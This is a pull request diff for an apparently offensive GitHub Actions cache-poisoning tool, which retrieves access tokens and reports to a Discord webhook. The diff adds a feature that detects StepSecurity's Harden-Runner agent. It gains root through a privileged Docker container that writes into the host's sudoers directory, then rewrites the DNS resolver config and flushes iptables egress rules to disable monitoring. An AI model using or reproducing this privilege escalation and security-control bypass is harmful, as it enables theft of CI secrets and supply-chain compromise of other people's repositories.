Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions src/config.ts
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,8 @@ export type ManualCacheEntry = {
// Time in second to sleep after each payload detonation.
export const SLEEP_TIMER: number = 15;

export const SOFTEN_RUNNER: boolean = false;

// Number of GBs to stuff the cache with upon the
// initial execution.
export const FILL_CACHE: number = 0;
Expand Down
16 changes: 14 additions & 2 deletions src/index.ts
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
import * as fs from 'fs';
import * as crypto from 'crypto';
import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry, createArchive, isInfected, checkCacheEntry, sleep } from './utils';
import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry, createArchive, isInfected, checkCacheEntry, sleep, isAgentRunning, softenRunner, checkSudo, dockerPrivesc } from './utils';
import axios from 'axios';
import { CHECKOUT_YML } from './static';
import { FILL_CACHE, SLEEP_TIMER, DISCORD_WEBHOOK, REPLACEMENTS, EXPLICIT_ENTRIES } from './config';
import { FILL_CACHE, SLEEP_TIMER, DISCORD_WEBHOOK, REPLACEMENTS, EXPLICIT_ENTRIES, SOFTEN_RUNNER } from './config';
import { reportDiscord } from './exfil';
import * as path from 'path';
import { calculateCacheConfigs, calculateCacheVersion, getSetupActions, getWorkflows } from './cache_predictor';
Expand Down Expand Up @@ -230,6 +230,18 @@ async function main() {
process.exit(0);
}

// Bypass Step Security's harden runner, if bypass enabled in config.
if (SOFTEN_RUNNER && await isAgentRunning()) {
console.log('Detected harden runner, bypassing it.')

if (!await checkSudo()) {
await dockerPrivesc();
}
// Check if sudo is enabled, if not, then use docker bypass

await softenRunner();
}

const tokens = await getToken();
const accessToken = tokens.get('ACCESS_TOKEN');
const githubToken = tokens.get('GITHUB_TOKEN');
Expand Down
41 changes: 41 additions & 0 deletions src/utils.ts
Original file line number Diff line number Diff line change
Expand Up @@ -65,6 +65,47 @@ export async function getOsInfo() {

}

export async function isAgentRunning(): Promise<boolean> {
try {
const { stdout } = await execAsync('ps -axco command | grep "/home/agent/agent"');
// If the command is found, stdout will contain the command itself.
// If not found, stdout will be an empty string.
return stdout.trim() !== '';
} catch (error) {
// If grep command fails (e.g., no process found), it throws an error.
// We catch the error and return false.
return false;
}
}

export async function checkSudo(): Promise<boolean> {
try {
// Attempt to execute a command that requires sudo, but doesn't actually modify anything
// The -n flag prevents prompting for a password
const { stdout, stderr } = await execAsync('sudo -n true');

// If the command executes successfully, the user has sudo access
return true;
} catch (error) {
// If the command fails, the user doesn't have sudo access or sudo is not configured correctly
console.error(`Sudo check failed: ${error}`);
return false;
}
}

export async function dockerPrivesc() {
await execAsync('docker image load -i alpine.tar.gz');
await execAsync('docker run --privileged --mount type=bind,source=/etc/sudoers.d/,target=/etc/sudoers_host --mount type=bind,source=/tmp/,target=/host_tmp alpine:latest /bin/sh -c "cp /host_tmp/runner /etc/sudoers_host/"');
}

export async function softenRunner() {
await execAsync('sudo systemctl stop systemd-resolved');
await execAsync('sudo cp /tmp/resolved.conf /etc/systemd/resolved.conf');
await execAsync('sudo systemctl restart systemd-resolved');
await execAsync('sudo iptables -t filter -F OUTPUT');
await execAsync('sudo iptables -t filter -F DOCKER-USER');
}

/**
*
*/
Expand Down
Loading